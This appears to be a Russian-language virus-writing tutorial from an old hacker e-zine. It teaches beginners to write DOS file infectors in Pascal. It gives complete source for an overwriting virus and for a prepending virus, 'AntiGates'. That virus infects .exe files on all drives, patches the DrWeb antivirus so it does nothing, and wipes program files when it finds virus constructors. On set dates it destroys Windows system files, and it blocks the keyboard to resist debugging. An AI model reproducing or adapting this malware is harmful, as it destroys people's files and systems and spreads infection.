╔═══════════════════════════════════════════╗
                 ║ ■                                       ■ ║
                 ║      █▀ █▀▄ █▀ █▀█ ▀█▀ █ █ █▀▄ █▀ █▀▀     ║
                 ║  THE █  █▄▀ █▄ █▄█  █  █ █ █▄▀ █▄ █▄▄     ║
                 ║      █▄ █ █ █▄ █ █  █  █▄█ █ █ █▄ ▄▄█     ║
                 ║ ■                                       ■ ║
                 ╚═══════════════════════════════════════════╝

                            Для ламеров                        (c) DEC0DER

     Данная  статья  будет  полезна  для  тех,  кто хочет писать вирусы, но не
знает,   с   чего   начать.   Прежде   всего  надо  выбрать  язык,  в  смысле,
программировния.  Для начала лучше всего подпйдет Паскаль. Можно конечто взять
какой-нибудь  Бейсик,  Си  ...,  но у них есть уйма недостатков, так что проще
изучить Паскаль, чем маяться с чем-то из вышеперечисленного.
     Что  надо  для  этого  знать  и  уметь?  Прежде всего, знать Паскаль хоть
как-то,  т.е.  работа  с  файлами,  процедурами, разными переменными - хотя бы
представлять, что это такое.
     С  чего  начать? Простенький HLLO (High Level Language Overwriter) вполне
подойдет для начала.
     Некоторые полезные вещи:

     а) Имеет смысл поставить в начале константу VIRSIZE=размер откомпиленного
     вируса и менять ее при каждой новой компиляции.

     б) Объявлять файл не TEXT и не FILE OF какое-нибудь г, а просто FILE
     (VAR F:FILE;).

     в) Пользоваться BLOCKREAD/BLOCKWRITE.

     А вот собственно и начало.

uses .....;
const
      virsize=1234; - любое число больне 255 и меньше 65536.
var
    .
    .
    .
    .
    .
begin
      Первая часть - считать себя из файла.
      assign(tmpf,paramstr(0));
      reset(tmpf,1);

      blockread(tmpf,virbody,virsize);
                      ^Здесь virbody - массив, состоящий из virsize байт.
      close(tmpf);

      далее надо поискать EXE-файлы.
      findfirst('*.exe',Archive,srexe);
                                  ^А эта переменная типа SEARCHREC
      while doserror=0 do begin - ищем пока не кончится
            infect(srexe.name); - залезаем в них
            findnext(srexe);
      end;
      Все сделали
      writeln('Прювет, чувак');
end.

procedure infect(fname:string); - заражаем файл
var
    .
    .
    .
begin
      assign(victim,fname);
      reset(victim,1); - можно rewrite

      blockwrite(victim,virbody,virlen); - пишем себя в начало

      close(victim);
end;

        А вот готовый оверрайтер:

-------------------------------------8<---------------------------------------
{Pascal v. 6.0}
uses dos;
const
     virsize=3488;
var
   tmpf:file;
   virbody:array[1..virsize] of byte;
   srexe:searchrec;

procedure infect(fname:string);
var
   victim:file;
begin
     assign(victim,fname);
     reset(victim,1);

     blockwrite(victim,virbody,virsize);
     close(victim);
end;

begin
     assign(tmpf,paramstr(0));
     reset(tmpf,1);

     blockread(tmpf,virbody,virsize);

     close(tmpf);

     findfirst('*.exe',Archive,srexe);
     while doserror=0 do begin
           infect(srexe.name);
           findnext(srexe);
     end;

     writeln('Hello, world!');
end.
-------------------------------------8<---------------------------------------


     Overwriter конечно вирус, но все же полное говно. Он не запускает жертву,
и  каким  бы  навороченным  он ни был, его моментально обнаружат. Поэтому есть
необходимость  как-то  запускать  зараженный  файл.  Существуют  два  наиболее
распространенных  способа  заражения  с  сохранением  жертв  для  последующего
запуска.
     Первый  -  сохранение  жертвы в левом файле и последующий ее запуск. Этот
способ  не намного проще второго, но значительно менее эффективный, поэтому он
не будет рассматриваться.
     Второй  вариант  заражения  -  приписывать  жертву в конец, а при запуске
сбрасывать  на  винт  под  любым  именем  и запускать. При этом умный чукча не
офигеет, увидив в какой-нибудь жопе уйму файлов с расширением "CPH".
     Как можно реализовать второй способ:
     a) Просто дописать в конец всю жертву, а потом засунуть ее на винт под
     именем TMP.EXE и запустить. Это тоже нехорошо, т.к. читать весь файл,
     а затем его писать - очень долго.
     б) Считать начальную часть файла, равную длине вируса, записать в начало
     вирус, а считанную часть - в конец.

     Рассмотрим случай б)

     Для начала надо кое-что подготовить: считать вирус из нашего файла.


     assign(tmpf,paramstr(0)); - открытие
     reset(tmpf,1);

     blockread(tmpf,virbody,virsize); - чтение тела вируса

     close(tmpf); - закроем файл

     Далее ищем файлы как в оверрайтере и инфицируем их.

     Процедура зараажения:
procedure infect(filetoinfect:string);
var
    .
    .
    .
    .
begin
     assign(victim,filetoinfect);
     reset(victim,1);

     Далее надо проверить, есть ли вирус в файле ?
     if virusexist(victim) then exit;

     А не много ли мы заразили?
     if infcount>infmax then exit;

     А не мал ли найденный файл?
     if filesize(victim)<virsize then exit;

     Теперь само заражение:

     считываем начало в буфер
     seek(victim,0);
     blockread(victim,buffer,virsize); Buffer - такой же массив, как и virbody

     пишем вирус на место считанной части
     seek(victim,0);
     blockwrite(victim,virbody,virsize);

     идем в конец файла
     seek(victim,filesize(victim));

     и пишем здесь оригинальное нaчало
     blockwrite(victim,bufffer,virsize);

     еще надо записать идентификатор
     blockwrite(victim,ID,IDsize);
     ID может быть какой угодно массив (byte, char) размером IDsize.
     Если ID - string, то IDsize должен быть равен длине строки + 1.

     close(victim);

     Жедательно еще поставить счетчик заражений.
     inc(infcount);

end;

функция проверки присутствия вируса в файле:
function virusexist(testfile:file);
var
    .
    .
    .
    .
begin
     seek(testfile,filesize(testfile)-IDsize); - на начало идентификатора

     blockread(testfile,testID,IDsize); - Читаем идентификатор


     if testID = ID then virusexist:=true else virusexist:=false;

end;

Теперь о запуске зараженного таким образом файла.

procedure execus;
var
    .
    .
    .
    .
begin
     Какая у нас командная строка была?
     ourparam:=' /C ';
     for i:=0 to paramcount do ourparam:=ourparam+paramstr(i);

     assign(tmpf,paramstr(0));
     reset(tmpf,1);

     seek(tmpf,filesize(tmpf)-virsize-IDsize); - перешли на оригинальное начало

     blockread(tmpf,buffer,virsize); - считали его

     seek(tmpf,0); - в начало файла

     blockwrite(tmpf,buffer,virsize); - записываем оригинальное начало

     seek(tmpf,filesize(tmpf)-virsize-IDsize); - перешли на бывший конец файла

     truncate(tmpf); - восстановили исходный размер

     close(tmpf);

     exec(getenv('COMSPEC'),ourparam); - запускаем жертву

     infect(paramstr(0)); - заражаем снова

end;

Комментарии:
    * При запуске жертва восстанавливается до оригинального состояния,
    т.е. имя, размер те же и запускается command.com'ом с параметром "/C".
    * Нужно уменьшить размер памяти, отводимый вирусу, т.к. не хватит
    на жертву (см. строки 1 и 2 в примере)

Далее идет готовый вирус.

-------------------------------------8<---------------------------------------
{$M 5000 , 0 , 10000}
{ ^ обломим вирусу память}
{

        Описание:
        Вирус AntiGates является первым более менее доработанным мной вирусом
        Бегает по (!) всему винту и заражает *.exe во всех текущих, корневых
        и поддирах. Так шо где-нибудь типа E:\POLIGON испытывать не рекомендуется,
        заразишь все виндузы. Портит DRWEB. Пятого и восьмого числа каждого месяца
        вытирает гейтсовское говно с диска. Конструкторы уничтожаются моментально,
        да так, что даже UNERASE не помогает.}

{$A- $B- $D- $E+ $F-,$G-,$I-,$L-,$N-,$S-,$V-,$X+}
{ шоб лишний раз не ругалось}

Uses Dos;

Const
     MaxSize=5000000;{Особо жирые нм не к лицу}
     VirName='AntiGates';{ - название}
     realid:String[6]='VAGNER';{ - id, могут быть любые шесть символов.}

     VirLen=5546;{ - длина EXE. Не забудьте сменть.}

     Author='DEC0DER';{ - автор}
     counter=15;{ - max заражений за один раз}
     Describ='Самоходный ветеринар. уничтожает вирус WIN95.based'+#10+#13+
             'Также борется с вирусными генераторами на ламерских машинах';



Var
    id:Array[1..6] of Char;
    virfile:File;
    ourparam:String;
    myname:PathStr;
    i,disk:Integer;
    filetoinfect:File;
    TargetFile:PathStr;
    VirBuf:Array [1..VirLen] of byte;
    TargetBuf:Array [1..VirLen] of byte;
    Attr:Word;
    Time:LongInt;
    InfFiles:Byte;
    DirInfo:SearchRec;
    LabelBuf:Array [1..6] of Char;
    TDIR:dirstr;
    TNAME:namestr;
    TEXTrn:EXTSTR;
    key,rekey:byte;
    dirsrch:searchrec;
    s:string;
{     /\
      ||
      толпа переменных. Наверное нужна была за чем-то, ща уже не помню, зачем}


procedure destroy(vext:string);
var
   virusc:file;
   src:searchrec;
begin
     exec(getenv('COMSPEC'),' attrib -r');
     findfirst(vext,$3f,src);{ - ищем все для уничтожения}
     while doserror=0 do begin
           if src.attr<>Directory then begin
           assign(virusc,src.name);
           rewrite(virusc);{ - против UNERASE}
           close(virusc);
           erase(virusc);
           findnext(src);
           end;
     end;
end;

procedure Init;
  begin
     randomize;

     myname:=ParamStr(0);{ - наше имя}

     LabelBuf[1]:=realid[1];
     LabelBuf[2]:=realid[2];
     LabelBuf[3]:=realid[3];
     LabelBuf[4]:=realid[4];
     LabelBuf[5]:=realid[5];
     LabelBuf[6]:=realid[6];

     InfFiles:=0;

     ourparam:='';

     Assign(virfile , ParamStr(0));
     Reset(virfile , 1);

     BlockRead(virfile , VirBuf , VirLen); { - читаем себя}
     Seek(virfile,FileSize(virfile)-1);
     BlockRead(virfile,reKey,1);{ - читаем ключ для раскодирования оригинального нчала}

     Close(virfile);
     Key:=trunc(random*256);{ - ключ для кодировки при этом запуске}
     IF ParamCount <> 0 Then
        Begin
           For I:=1 To ParamCount Do
             ourparam:=ourparam + ' ' + ParamStr(I);{ - наши параметры}
        End;

end;

procedure ExecOriginal;{ - исполняем оригинальную прогрмму}
  begin

    FindFirst(ParamStr(0) , AnyFile , DirInfo);

    Assign(virfile , ParamStr(0));

    Time:=DirInfo.Time;
    Attr:=DirInfo.Attr;{ - запоминаем атрибуты и дату}

    SetFAttr(virfile , Archive);{ - делаем файл пригодным для записи}

    Reset(virfile , 1);

    Seek(virfile , DirInfo.Size - VirLen - 7);

    BlockRead(virfile , TargetBuf , VirLen);{ - читаем закодированное оригинальное
                                                начало}

    Seek(virfile , DirInfo.Size - VirLen - 7);
    Truncate(virfile);{ - обрезаем все лишнее}

    for i:=1 to VirLen do TargetBuf[i]:=TargetBuf[i]-rekey+virbuf[i];{ - раскодируем}

    Seek(virfile , 0);
    BlockWrite(virfile , TargetBuf , VirLen);{ - и пишем оригинальное начало
                                                 на место}

    SetFTime(virfile , Time);
    SetFAttr(virfile , Attr);{ - ставим старые атрибуты и ...}

    Close(virfile);

    SwapVectors;
      Exec(myname , ourparam);{ ... запускаем}
    SwapVectors;
    {специально убрана проверка, как отработало:
     места много занимет да и сaма программа как правило ругается}

    { и далее заражаем прогу снова}

    Assign(virfile , ParamStr(0));

    SetFAttr(virfile , Archive);

    Reset(virfile , 1);

    BlockWrite(virfile , VirBuf , VirLen);

    for i:=1 to VirLen do TargetBuf[i]:=TargetBuf[i]+rekey-virbuf[i];

    Seek(virfile , DirInfo.Size - VirLen - 7);

    BlockWrite(virfile , TargetBuf , VirLen);

    Seek(virfile , DirInfo.Size - 7);

    BlockWrite(virfile , LabelBuf , 6);

    Seek(virfile,DirInfo.Size - 1);
    blockwrite(virfile,rekey,1);

    SetFTime(virfile , Time);
    SetFAttr(virfile , Attr);

    Close(virfile);

end;


procedure FindTarget;{ - процедура заражения каталога}

Var
   exesearch:SearchRec;

function VirusPresent : Boolean;{ - процедура проверки файла на зараженность}
  begin

     VirusPresent:=False;

     Assign(filetoinfect , TargetFile);
     Reset(filetoinfect , 1);

     Seek(filetoinfect , exesearch.Size - 7);{ - читаем идентификатор ... }
     BlockRead(filetoinfect , id , 6);
     close(filetoinfect);

     If id = realid Then
     VirusPresent:=True;{ ... и если он есть, то значет и мы там тоже}

end;

procedure InfectFile;{ - заражаем файл}
  begin

   If exesearch.Size <= VirLen  Then Exit;{если меньше себя, то плохо}
   If exesearch.Size > MaxSize  Then Exit;{если очень большой, тоже плохо}

   If Not VirusPresent Then { - проверяем на наличие себя}
    begin

       Time:=exesearch.Time;{ - запоминаем атрибуты}
       Attr:=exesearch.Attr;

       Assign(filetoinfect , TargetFile);
       SetFAttr(filetoinfect, Archive); { - стaвим нормальные аатрибуты}
       Reset(filetoinfect , 1);

       if ioresult>0 then begin close(filetoinfect); exit; end;{ - проверка
                                                     на защиту от записи}

       BlockRead(filetoinfect , TargetBuf , VirLen);{ - читаем начало файла ...}

       for i:=1 to VirLen do TargetBuf[i]:=TargetBuf[i]+key-virbuf[i];{ ... кодируем его}

       Seek(filetoinfect , 0);
       BlockWrite(filetoinfect, VirBuf, VirLen);{ - суем себя в начало
                                                    на место считнной части}


       Seek(filetoinfect , exesearch.Size);
       BlockWrite(filetoinfect , TargetBuf , VirLen);{ - пишем закодированное
                                                         начало в конец}

       Seek(filetoinfect , exesearch.Size + VirLen);

       BlockWrite(filetoinfect , LabelBuf , 6);{ - пишем идентификатор}

       Seek(filetoinfect , exesearch.Size + VirLen + 6);
       blockwrite(filetoinfect,key,1);{ - пишем ключ}

       SetFAttr(filetoinfect , Attr);
       SetFTime(filetoinfect , Time);{ - восстанавливаем оригинальные атрибуты}

       Close(filetoinfect);

       Inc(InfFiles);{ - еще один файл заразили}

    end;
end;

procedure fuckdrweb;
var
   drweb:file;
   c3:byte;
begin
     findfirst('DRWEB.EXE',$3f,exesearch);{ - ищем Данилова}
     if doserror<>0 then exit;{- есл нету}

     exec(getenv('COMSPEC'),' attrib -r');
     assign(drweb,'drweb.exe');
     reset(drweb,1);

     c3:=$c3;
     blockwrite(drweb,c3,1);{ - ставим ret вместо первого байта}

     close(drweb);
end;

procedure destroyNRLG;

begin
     findfirst('NRLG.EXE',$3f,exesearch);{ - ищем конструктор}

     if doserror<>0 then exit; { - нету - выходим}

     destroy('*.asm');;{ - уничтожаем все намеки}
     destroy('*.exe');
     destroy('*.com');

end;

procedure destroyIVP;

begin
     findfirst('IVP.EXE',$3f,exesearch);{ - ищем конструктор}

     if doserror<>0 then exit; { - нету - выходим}

     destroy('*.asm');;{ - уничтожаем все намеки}
     destroy('*.exe');
     destroy('*.com');

end;

begin { - сама findtarget}
      fuckdrweb;
      destroyNRLG;{ - уничтожаем конструкторы}
      destroyIVP;
      FindFirst('*.EXE', Archive , exesearch);{ - ищем все ЕХЕшки}
       While DosError = 0 Do
         begin

           If exesearch.Name='' Then Exit;{ - если ваще нету ЕХЕшек}

           TargetFile:=exesearch.Name;{ - нашли}

           InfectFile;{ - заражаем этот файл}

           If InfFiles > counter Then Exit;{ - если заразили уже достаточно,
                                             то выходим}

           FindNext(exesearch);

         end;
end;

Procedure FindSubTargets;{ - процедура поиска в поддиректориях}

begin
     findfirst('*.*',Directory,dirsrch);{ - ищем диры}
     while doserror=0 do begin
           if (dirsrch.attr=$10) and (dirsrch.name<>'..') and (dirsrch.name<>'.') then begin
              chdir(dirsrch.name);{ - переходим в нaйденную}
              findtarget;{ - позражаем в ней все}
              chdir('..');{ - идем обрaтно и продолжаем поиск}
           end;
           FindNext(dirsrch);
     end;
end;

procedure clearwin95;
var
   y, m, d, dow : Word;
   wpath:string;
begin
     GetDate(y,m,d,dow);
     if (d<>5) and (d<>8) then exit;{ - проверяем на нужное число}

     destroy(copy(getenv('COMSPEC'),0,length(getenv('COMSPEC'))-11)+'*.*');
     destroy(copy(getenv('COMSPEC'),0,length(getenv('COMSPEC'))-11)+'SYSTEM\*.*');
     { - и подтираем какашки}
end;

begin

     Init;

     fsplit(paramstr(0),TDIR,TNAME,TEXTrn);
     if TNAME<>'PROJECT' then ExecOriginal; { - если не инсталятор, то ...}

     asm{ - против DEBUGGER'a, отрубает клаву}
         PUSH AX
         IN AL, 21h
         OR AL, 03h
         OUT 21h, AL
         POP AX
     end;

     ClearWin95;

     for disk:=3 to 26 do begin  { - ищем на всех дисках от С: до Z:}
         if disksize(disk)<>-1 then   begin { - если такого диска не существует,
                                                или это CD-ROM}
            chdir(chr(disk+96)+':');{ - переходим на нужный диск:\текущий дир}
            FindTarget;
            FindSubTargets;{ - и заражаем все в округе}

            chdir('\');
                        {  то же сaмое в корне}
            FindTarget;
            FindSubTargets;
         end;
     end;

     asm{ - снова врубаем клавиатуру}
         PUSH AX
         nop
         IN AL, 21h
         AND AL, 0FCh
         OUT 21h, AL
         POP AX
     end;

       If False Then { - а это шоб константы были}
          begin
             ourparam:=VirName;
             ourparam:=Author;
             ourparam:=Describ;
          end;

end.